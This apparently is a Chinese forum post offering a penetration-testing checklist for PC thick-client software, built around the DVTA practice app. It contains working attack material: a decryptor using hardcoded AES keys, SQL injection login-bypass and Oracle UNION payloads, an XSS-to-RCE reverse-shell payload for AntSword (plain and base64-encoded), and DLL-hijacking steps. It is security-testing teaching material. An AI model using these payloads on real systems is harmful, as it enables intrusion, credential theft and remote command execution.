taibeihacker
Moderator
0x00 前言
本項目主要針對pc客戶端(cs架構)滲透測試,結合自身測試經驗和網絡資料形成checklist,如有任何問題,歡迎聯繫,期待大家貢獻更多的技巧和案例。0x01 概述
PC客戶端,有豐富功能的GUI,C-S架構。
0x02 开发语言
C#(.NET),JAVA,DELPHI,C,C++.0x03 协议
TCP、HTTP(S),TDS.0x04 数据库
oracle,mssql,db2.0x05 测试工具
//相關工具下載:https://github.com/theLSA/hack-cs-toolsdvta: pc客戶端靶場
ida pro: 靜態分析工具
ollydbg:動態分析工具
CFF Explorer:PE文件分析
PEID:查殼工具
exeinfope/studype:pe文件分析
wireshark:觀察流量
tcpview:觀察tcp流量
echo Mirage:可攔截tcp流量
burpsuite:http(s)抓包
proxifier:全局代理流量
procmon:文件和註冊表監控
regshot:註冊表變化對比
process Hacker:進程分析
RegfromApp:註冊表監控
WSExplorer:歲月聯盟進程抓包工具
strings:查看程序的字符串
.net[反]編譯:
dotpeek
de4dot
dnspy
ilspy
sae
ildasm
ilasm
Java反編譯
jad
jd-gui
jadx
dex2jar
在線版:
javare.cn
www.javadecompilers.com
Reflexil:組裝編輯器(可以作為ilspy插件)
Vcg:自動化代碼審計工具
BinScope:二進制分析工具
0x06 代理设置
大部分客戶端沒有代理配置功能,需要自行設置全局代理,如下兩種方法:1)IE-internet設置-連接-局域網設置。
2)proxifier -- proxy server/proxification rules
//http的流量可以結合burpsuite方便測試(proxy server設置為burp代理地址)。



0x07 测试点
0. 信息收集
編譯信息,開發環境/語言,使用協議,數據庫,ip,混淆/加密,是否加殼等。案例0-CFF查看客戶端信息(如編譯環境)
dvta

1. 逆向工程
反編譯,源代碼洩露,硬編碼key/password,加解密邏輯,角色判斷邏輯(0-admin,1-normaluser),後門等。案例0-反編譯獲取加解密邏輯並編寫解密工具
dvta


AES KEY:J8gLXc454o5tW2HEF7HahcXPufj9v8k8
IV:fq20T0gMnXa6g0l4
編寫解密工具
using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security.Cryptography;
namespace aesdecrypt
{
public partial class aesdecrypt : Form
{
public aesdecrypt()
{
InitializeComponent();
}
private void decrypt(object sender, EventArgs e)
{
String key=“J8gLXc454o5tW2HEF7HahcXPufj9v8k8”;
String IV=“fq20T0gMnXa6g0l4”;
String encryptedtext=“CTsvjZ0jQghXYWbSRcPxpQ==”;
byte[] encryptedBytes=Convert.FromBase64String(encryptedtext);
AesCryptoServiceProvider aes=new AesCryptoServiceProvider();
aes.BlockSize=128;
aes.KeySize=256;
aes.Key=System.Text.ASCIIEncoding.ASCII.GetBytes(key);
aes.IV=System.Text.ASCIIEncoding.ASCII.GetBytes(IV);
aes.Padding=PaddingMode.PKCS7;
aes.Mode=CipherMode.CBC;
ICryptoTransform crypto=aes.CreateDecryptor(aes.Key, aes.IV);
byte[] decryptedbytes=crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);
String decryptedString=System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);
Console.WriteLine(“\n”);
Console.WriteLine(“##########Decryptig Database password##########\n”);
Console.WriteLine(“Decrypted Database password:” + decryptedString+”\n”);
Console.WriteLine(“##########Done##########\n”);
}
}
}
//解密代碼源自https://resources.infosecinstitute.com/damn-vulnerable-thick-client-app-part-5/#article
案例1-反編譯修改代碼邏輯讓普通用戶以管理員登錄
dvta
1-Isadmin
0-Normaluser
改1為0即可判斷為admin


2. 信息泄露
明文敏感信息,敏感文件(如安裝目錄下的xxx.config)。註冊表:利用regshot比較客戶端運行(如登錄)前後註冊表差別。
開發調試日誌洩露(如dvta.exe log.txt)
process hacker查看客戶端內存中的明文敏感數據(如賬號密碼/key)。
strings直接查看客戶端字符串(如ip信息)。
查看源代碼(如github,gitee等)
案例0-配置敏感信息洩露
dvta

案例1-內存洩露數據庫賬號密碼
dvta

案例2-源代碼含有硬編碼ftp賬號密碼
dvta

dvta

案例4-某系統登錄後本地保存賬號密碼

3. 传输流量
wireshark/echo Mirage/burpsuite+nopeproxy/fillder/charlesftp等協議明文傳輸的賬號密碼
SQL語句明文傳輸(如利用構造注入,越權等)
案例0-正方教務系統sql語句明文傳輸,返回明文數據


//本案例來源於wooyu
案例1-某系統登錄處數據包返回數據庫帳號密碼

4. 其他漏洞
用户名枚举
案例0

暴力破解
如登錄功能。案例0

弱口令
可嘗試admin 123456等。密码明文传输
SQL语句暴露
案例0

SQL注入
如登錄處,萬能密碼xxx’ or ‘x’=’x
xxx’ or 1=1--
輸入框處,構造閉合報錯,如’、’)、%’)、order by 100--等。
利用顯示位或報錯注出數據,原理同web注入,不同數據庫大同小異。
案例0-oracle注入
' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--

111') and (select user)0--

CSV注入
如導出excel,輸入1+1,導出後看是否為2。XSS
如Electron,NodeWebKit等。案例0-中國蟻劍xss到rce
環境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5
xss webshell:
?php
header('HTTP/1.1 500 img src=# onerror=alertx');

成功
var net=require('net'), sh=require('child_process').exec('cmd.exe');
var client=new net.Socket();
client.connect(6677, '127.0.0.1', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
?php
header('HTTP/1.1 500 Not img src=# onerror='eval(new Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVj dCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=,base64).toString())'');

案例0-印象筆記windows客戶端6.15本地文件讀取和遠程命令執行http://blog.knownsec.com/2018/11/印象笔记-windows-客户端-6-15-本地文件读取和远程命令执行/
案例1-某雲pc客戶端命令執行挖掘過程
某云pc客户端命令执行挖掘过程 - SecPulse.COM | 安全脉搏
本文转自脉搏战略合作伙伴先知技术社区 原帖地址 原作者: forever80s 安全脉搏编辑Joey整理发布
www.secpulse.com
測試點同web。
DLL劫持Linux文件搜索順序:
當前目錄PATH順序值目錄程序搜索Dll順序:
//沒提供絕對路徑
1.應用程序加載的目錄。
2.當前目錄。
3.系統目錄(C:\Windows\System32\)。
4.16位的系統目錄。
5.Windows目錄。
6.PATH變量的目錄。
程序可以加載攻擊者放置的惡意dll。
利用procmon搜索程序加載的dll,觀察name not found。
msf生成惡意dll放置於程序加載位置,運行程序即可觸發payload。
案例0-dll劫持
dvta


逻辑缺陷
測試點同web。授权认证缺陷
註冊表鍵值,授權服務器返回信息構造。相關參考

实战介绍Windows下的PC客户端常见漏洞挖掘-腾讯云开发者社区-腾讯云
对于小白来说,WEB安全方面似乎已经有了很完备的知识体系和漏洞发掘流程,刚刚入门的朋友总是喜欢选择web方向来作为自己的发展方向,因为针对web系统的渗透测试似乎获得的成就感要更高,也有很多小白认为web似乎更好学,然而对于PC客户端漏洞发掘,因为涉及到了一些计算机和操作系统底层的知识,很多人都不敢去碰,而实际上PC客...
cloud.tencent.com
未授权
案例0-正方教務系統數據庫任意操作知道ip即可接管數據庫